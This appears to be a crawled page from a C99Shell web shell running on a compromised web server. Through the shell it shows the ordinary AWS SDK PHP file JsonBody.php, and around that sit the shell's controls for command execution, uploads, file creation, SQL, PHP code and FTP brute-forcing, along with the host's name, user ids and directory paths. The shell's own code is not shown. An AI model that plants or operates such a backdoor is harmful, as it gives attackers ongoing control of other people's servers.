!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/Api/Serializer/   drwxr-xr-x
Free 28.73 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JsonBody.php (3.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Api\Serializer;

use 
Aws\Api\Service;
use 
Aws\Api\Shape;
use 
Aws\Api\TimestampShape;
use 
Aws\Exception\InvalidJsonException;

/**
 * Formats the JSON body of a JSON-REST or JSON-RPC operation.
 * @internal
 */
class JsonBody
{
    private 
$api;

    public function 
__construct(Service $api)
    {
        
$this->api $api;
    }

    
/**
     * Gets the JSON Content-Type header for a service API
     *
     * @param Service $service
     *
     * @return string
     */
    
public static function getContentType(Service $service)
    {
        if (
$service->getMetadata('protocol') === 'rest-json') {
            return 
'application/json';
        }

        
$jsonVersion $service->getMetadata('jsonVersion');
        if (empty(
$jsonVersion)) {
            throw new 
\InvalidArgumentException('invalid json');
        } else {
            return 
'application/x-amz-json-'
                
. @number_format($service->getMetadata('jsonVersion'), 1);
        }
    }

    
/**
     * Builds the JSON body based on an array of arguments.
     *
     * @param Shape $shape Operation being constructed
     * @param array $args  Associative array of arguments
     *
     * @return string
     */
    
public function build(Shape $shape, array $args)
    {
        
$result json_encode($this->format($shape$args));
        return 
$result == '[]' '{}' $result;
    }

    private function 
format(Shape $shape$value)
    {
        switch (
$shape['type']) {
            case 
'structure':
                
$data = [];
                if (isset(
$shape['document']) && $shape['document']) {
                    return 
$value;
                }
                foreach (
$value as $k => $v) {
                    if (
$v !== null && $shape->hasMember($k)) {
                        
$valueShape $shape->getMember($k);
                        
$data[$valueShape['locationName'] ?: $k]
                            = 
$this->format($valueShape$v);
                    }
                }
                if (empty(
$data)) {
                    return new 
\stdClass;
                }
                return 
$data;

            case 
'list':
                
$items $shape->getMember();
                foreach (
$value as $k => $v) {
                    
$value[$k] = $this->format($items$v);
                }
                return 
$value;

            case 
'map':
                if (empty(
$value)) {
                    return new 
\stdClass;
                }
                
$values $shape->getValue();
                foreach (
$value as $k => $v) {
                    
$value[$k] = $this->format($values$v);
                }
                return 
$value;

            case 
'blob':
                return 
base64_encode($value);

            case 
'timestamp':
                
$timestampFormat = !empty($shape['timestampFormat'])
                    ? 
$shape['timestampFormat']
                    : 
'unixTimestamp';
                return 
TimestampShape::format($value$timestampFormat);

            default:
                return 
$value;
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--